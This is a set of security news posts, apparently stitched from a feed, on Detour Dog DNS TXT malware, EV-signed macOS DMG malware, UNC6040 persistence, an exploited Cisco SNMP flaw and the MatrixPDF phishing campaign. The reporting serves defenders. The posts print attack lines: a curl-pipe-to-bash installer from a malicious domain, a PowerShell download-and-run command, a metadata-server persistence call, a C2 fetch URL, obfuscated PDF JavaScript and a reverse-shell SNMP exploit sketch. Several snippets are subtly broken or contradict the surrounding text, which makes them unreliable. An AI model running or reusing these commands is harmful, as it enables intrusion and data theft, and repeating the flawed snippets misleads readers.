A sophisticated DNS-based malware campaign has emerged, utilizing thousands of compromised websites worldwide to deliver the Strela Stealer information-stealing malware through an unprecedented technique involving DNS TXT records.

The threat, tracked as Detour Dog by security researchers, represents a significant evolution in malware distribution methods that leverages the Domain Name System as both a command-and-control mechanism and delivery channel.

The malware campaign affects tens of thousands of websites globally, creating a vast network of infected hosts that communicate with actor-controlled name servers through specially crafted DNS queries.

These server-side DNS requests remain invisible to website visitors, allowing the malicious infrastructure to operate covertly while maintaining the appearance of legitimate web traffic.

The infected sites conditionally redirect visitors to malicious content based on their geographic location and device type, creating a sophisticated filtering mechanism that helps evade detection.

Detour Dog has evolved significantly from its origins as a redirect-to-scam operation.

The threat actor behind this campaign has been active since at least August 2023, initially focusing on redirecting users to fraudulent websites and tech support scams.

However, recent developments show a marked shift toward direct malware distribution, particularly in campaigns targeting European users with the Strela Stealer payload.

Infoblox analysts identified the connection between Detour Dog infrastructure and Strela Stealer operations during summer 2025, when they discovered that at least 69 percent of confirmed StarFish staging hosts were under Detour Dog control.

This finding revealed that the threat actor was not merely redirecting traffic but actively participating in multi-stage malware delivery chains that culminated in information theft operations.

Advanced DNS TXT Command and Control Infrastructure

The technical sophistication of Detour Dog’s DNS-based command and control system represents a novel approach to malware communication that exploits the typically overlooked DNS TXT record functionality.

The infected websites generate DNS queries following a structured format that embeds victim information directly into the subdomain structure:-

<infected-host>.<visitor-ip>.<rand-num>.<type>.c2_domain

The system underwent a significant upgrade in spring 2025 when operators added remote code execution capabilities triggered by Base64-encoded responses containing the keyword “down.”

When an infected site receives such a response, it strips the prefix and uses curl to fetch content from specified URLs, effectively turning compromised websites into proxy servers for malware distribution.

The DNS TXT responses follow a specific format that enables complex multi-stage payload delivery.

For example, a decoded response might appear as:-

downhttp://updatemsdnserver.com/script.php?u=j6cwaj0h67

This command instructs the infected site to retrieve content from a StarFish C2 server and relay it back to the victim, creating a distributed delivery network that obscures the true source of malicious content.

The system supports both script.php and file.php endpoints, corresponding to different stages of the Strela Stealer delivery process.

The threat actor has demonstrated remarkable resilience in maintaining their infrastructure. When the Shadowserver Foundation sinkholed the webdmonitor.io domain in August 2025, Detour Dog operators established a replacement C2 server within hours, seamlessly transferring control of their infected website network to the new aeroarrows.io domain.

Analysis of sinkhole data revealed approximately 30,000 unique domains spanning 584 distinct top-level domains, all generating properly formatted DNS TXT queries to the actor-controlled infrastructure.

The scale and persistence of this operation highlight the effectiveness of DNS as a covert communication channel for malware operations.

The distributed nature of the infected website network, combined with the legitimate appearance of DNS traffic, creates significant challenges for traditional security monitoring systems that may not scrutinize TXT record communications with the same intensity applied to other network protocols.

This represents a significant advancement in malware distribution techniques, where DNS infrastructure serves dual purposes as both a command channel and a content delivery mechanism, creating a resilient and difficult-to-detect threat ecosystem.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New DNS Malware Detour Dog Delivers Strela Stealer Using DNS TXT Records appeared first on Cyber Security News.

In recent weeks, security analysts have observed a new wave of macOS attacks leveraging legitimately issued Extended Validation (EV) certificates to sign malicious disk images (DMGs).

This technique allows malware authors to evade detection by VirusTotal and built-in macOS security checks.

The campaign first surfaced when multiple samples appeared on threat intelligence feeds, each bearing a valid Developer ID Application signature.

Attackers are exploiting the high cost and stringent vetting of EV certificates to lend an air of legitimacy to otherwise malicious payloads.

Initial infections appear to be delivered via phishing lures, with compromised websites hosting the signed DMG installers masquerading as legitimate applications.

Who said what? (@g0njxa), a researcher noted that the abuse of EV certificates is not confined to Windows malware—it is increasingly present on macOS threats as well.

He identified a novel signed DMG, fully undetectable on VirusTotal, issued under the Developer ID “THOMAS BOULAY DUVAL (J97GLQ5KW9)”.

The sample (SHA256: a031ba8111ded0c11acfedea9ab83b4be8274584da71bcc88ff72e2d51957dd7) displays a bundle identifier mimicking the signer name (e.g., “thomas.parfums”), a poor attempt to camouflage within legitimate software distributions.

Once reported, these certificates are revoked, but not before they have enabled significant stealth in early campaign stages.

Despite the high financial and procedural barrier to obtaining Apple EV certificates, threat actors appear willing to invest in them, knowing that revocation may come too late to prevent initial compromise.

This underscores a growing trend: adversaries trading speed for legitimacy by leveraging established trust chains.

Infection Mechanism

The primary infection mechanism begins with a signed DMG that, when mounted, executes an embedded AppleScript launcher.

Examination of the Mach-O binary within the DMG reveals hardcoded references to a remote script host:-

#!/usr/bin/osascript
do shell script "curl -sL https://franceparfumes[.]org/parfume/install.sh | bash"

Upon execution, the script downloads and executes an ARM64-compiled payload that establishes persistence by writing a LaunchAgent plist to ~/Library/LaunchAgents/com.thomas.parfums.agent.plist and relaunches itself at login.

This method bypasses Gatekeeper checks by relying on the valid EV signature and avoids triggering MRT scans, resulting in a fully undetectable installation flow.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Hackers Abuse EV Certificates to Sign Completely Undetectable DMG Malware appeared first on Cyber Security News.

Google has published a comprehensive guide aimed at fortifying organizational defenses against UNC6040, a sophisticated threat actor known for targeting cloud environments and enterprise networks.

Emerging in late 2024, UNC6040 quickly garnered attention for its highly coordinated campaigns, which leverage advanced payload delivery methods and custom malware loaders.

Initial investigations linked the group’s activity to strategic espionage objectives, with attackers exploiting misconfigured cloud storage and weak API authentication to establish footholds across diverse environments.

In its guide, Google details the primary attack vectors employed by UNC6040, highlighting spear-phishing emails with weaponized attachments, exploitation of known web application vulnerabilities, and unauthorized use of stolen service account keys.

By chaining these tactics, UNC6040 operators achieve lateral movement and privilege escalation with minimal detection.

Google Cloud analysts noted that UNC6040 consistently abuses legitimate administrative tools—such as the Cloud SDK and gcloud CLI—to mask malicious activity and evade standard security telemetry within Google Cloud environments.

The impact of UNC6040’s operations has been profound for affected enterprises, resulting in data exfiltration, prolonged network compromises, and significant remediation costs.

Targets include organizations in the technology, defense, and telecommunications sectors, where proprietary data and intellectual property are high-value assets.

Google’s guide emphasizes the necessity of adopting a defense-in-depth approach, combining proactive threat hunting with continuous monitoring of anomalous behavior and configuration drift.

Within the guide’s technical deep dive, one essential recommendation is to deploy custom detection rules using Sigma and YARA.

For example, the following YARA rule snippet can detect UNC6040’s loader binaries by matching on distinctive API invocation patterns:-

rule UNC6040_Loader_Detection {
    meta:
        description = "Detect UNC6040 custom loader based on API calls"
        author = "Google Cloud Security"
    strings:
        $api1 = "NtCreateUserProcess" wide
        $api2 = "ZwQueueApcThread" wide
        $str1 = "GoogleSecurityClient" ascii
    condition:
        uint16(0) == 0x5A4D and
        2 of ($api*) and
        $str1
}

Persistence Tactics

A closer examination of UNC6040’s persistence tactics reveals the group’s preference for embedding malicious components into legitimate cloud-native services.

After initial compromise, UNC6040 operators commonly register forged service accounts with overly permissive roles to maintain long-term access.

These accounts are configured to execute startup scripts that download and install a custom backdoor—frequently named gtoken_agent—which communicates with command-and-control (C2) servers over encrypted channels.

Google’s guide shows that the backdoor employs a modular architecture: a primary agent for C2 communication and secondary plugins for credential harvesting and lateral movement.

Persistence is achieved by creating a covert cron job entry in the metadata server of virtual machines:-

curl - X POST - H "Metadata-Flavor: Google" \
    --data '{"items":[{"key":"startup-script","value":"bash /opt/gtoken_agent/install.sh"}]}' \
    http://metadata.google.internal/computeMetadata/v1/project/attributes

This mechanism ensures that the gtoken_agent is reinstalled upon instance reboot, effectively preserving UNC6040’s presence even after remediation efforts.

Google recommends regular audits of service account roles and metadata attributes, combined with automated validation of metadata changes, to detect and prevent such persistence techniques.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Google Releases Guide to Harden Security Strategy and Detection Capabilities Against UNC6040 appeared first on Cyber Security News.

Cisco’s Simple Network Management Protocol (SNMP) implementations in IOS and IOS XE have come under intense scrutiny following reports of active exploitation in the wild.

First disclosed in August 2025, CVE-2025-20352 describes a critical buffer overflow in the SNMP engine that allows unauthenticated remote attackers to execute arbitrary code.

The vulnerability arises when an oversized payload is sent in a GetBulk request, overrunning an internal buffer and redirecting control flow to attacker-supplied shellcode.

Initial indicators emerged when network operators began noticing unexplained device reboots and anomalous SNMP traffic patterns.

Subsequent forensic analysis revealed that compromised routers were pinging external command-and-control servers immediately after handling malformed SNMP requests.

CISA analysts identified this behavior within weeks of the vulnerability’s public disclosure, warning that adversaries are leveraging CVE-2025-20352 to establish persistent footholds in enterprise networks.

The impact spans a wide range of Cisco platforms, from ISR 4000 Series routers to Catalyst switches running IOS XE versions prior to 17.10.

Exploitation requires only network reachability to the SNMP service and no valid credentials, making exposed management interfaces particularly dangerous.

In one reported incident, attackers deployed a custom payload that established a reverse shell back to an attacker-controlled host, enabling full remote control of the device.

Infection Mechanism

Underneath the hood, the attack leverages a malformed PDU that triggers an out-of-bounds write in the SNMP engine’s stack.

Upon receiving a GetBulk request with a length field exceeding the maximum buffer size, the SNMP handler fails to validate the message size.

This overflow overwrites the saved return address on the stack, diverting execution to shellcode embedded in the packet.

Once execution begins, the payload initializes a socket connection back to the attacker’s IP address:-

from pysnmp.hlapi import *
payload = b"\x90" * 100 + reverse_shell_shellcode
sendNotification(
    SnmpEngine(),
    CommunityData('public'),
    UdpTransportTarget(('192.0.2.123', 161)),
    ContextData(),
    NotificationType(
        ObjectIdentity('1.3.6.1.4.1.9.9.96'),
        ('1.3.6.1.4.1.9.9.96.1.1', OctetString(payload))
    )
)

The packet structure highlights how the oversized length field and embedded shellcode combine to hijack execution.

Network defenders are urged to apply the latest Cisco patches immediately and to restrict SNMP access to trusted hosts only.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post CISA Warns of Cisco IOS and IOS XE SNMP Vulnerabilities Exploited in Attacks appeared first on Cyber Security News.

In recent weeks, a novel malware campaign dubbed MatrixPDF has surfaced, targeting Gmail users with carefully crafted emails that slip past conventional spam and phishing filters.

This campaign has been active since mid-September 2025 and leverages PDF attachments that, when opened, initiate a stealthy infection chain designed to exfiltrate sensitive information and deliver additional payloads.

Early indicators suggest that attackers are exploiting trust in PDF documents by embedding obfuscated scripts and leveraging legitimate cloud hosting services to host malicious payloads, making detection significantly more challenging.

The initial wave of attacks delivered emails masquerading as internal organizational communications, complete with realistic headers and sender addresses spoofed to resemble trusted corporate domains.

Each email contains a PDF attachment named MatrixDoc.pdf, which appears harmless in preview. However, the PDF is crafted with malformed objects and an embedded JavaScript action that automatically executes when the document is opened in compatible viewers.

Researchers noted that the JavaScript code employs customized obfuscation techniques, including string concatenation and nonstandard encoding schemes, to evade static analysis.

Varonis analysts identified the MatrixPDF campaign after observing unusual PDF parsing errors across several high-profile enterprise networks.

Examination of the malicious documents revealed that the embedded script uses the util.printf() function to dynamically reconstruct and execute a PowerShell command.

By chaining multiple decoding routines, the malware ultimately invokes:-

this.exportDataObject({cName: "payload.scr", nLaunch: 2});

triggering the execution of a secondary executable disguised as a screensaver file. The PowerShell payload then reaches out to a cloud storage bucket to download additional modules, establishing command-and-control communications.

Further analysis exposed that once the secondary payload is active, it registers a persistence mechanism by creating a hidden scheduled task named MatrixUpdater.

This task runs every hour, ensuring that the malware can update itself or fetch new instructions without user intervention. Detection evasion is enhanced through intermittent network connections and randomized task names that change with each infection.

Infection Mechanism

Delving into the infection mechanism, MatrixPDF begins with PDF JavaScript exploiting the exportDataObject API to extract and launch the malicious .scr file.

The embedded script reconstructs a Base64-encoded PowerShell command by piecing together multiple string fragments. A representative snippet is shown below:-

var part1 = "ZXh0cmFjdC5GaWxl";
var part2 = "LmQ=";
var combined = util.stringFromStream(util.createStream({
  cData: part1 + part2
}));
eval(combined);

This obfuscation technique ensures that signature-based defenses struggle to flag the script. Once decoded, the command executes:-

IEX (New-Object Net.WebClient).DownloadString('https://cloudhost.example.com/update.ps1')

which retrieves and runs a PowerShell script responsible for deploying the main payload. The script also leverages the Windows Management Instrumentation (WMI) service to check for existing infections, preventing duplicate installations.

Upon successful download, the PowerShell script writes the payload to %APPDATA%\Local\Matrix\matrix.exe and configures a hidden scheduled task for persistence.

Through its layered approach, MatrixPDF demonstrates a sophisticated blend of social engineering, scripting abuse, and legitimate hosting infrastructure to compromise Gmail users while maintaining a low forensic footprint.

Continuous monitoring and heuristic-based PDF analysis are essential to detect and mitigate this emerging threat.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post MatrixPDF Attacks Gmail Users Bypassing Email Filters and Fetch Malicious Payload appeared first on Cyber Security News.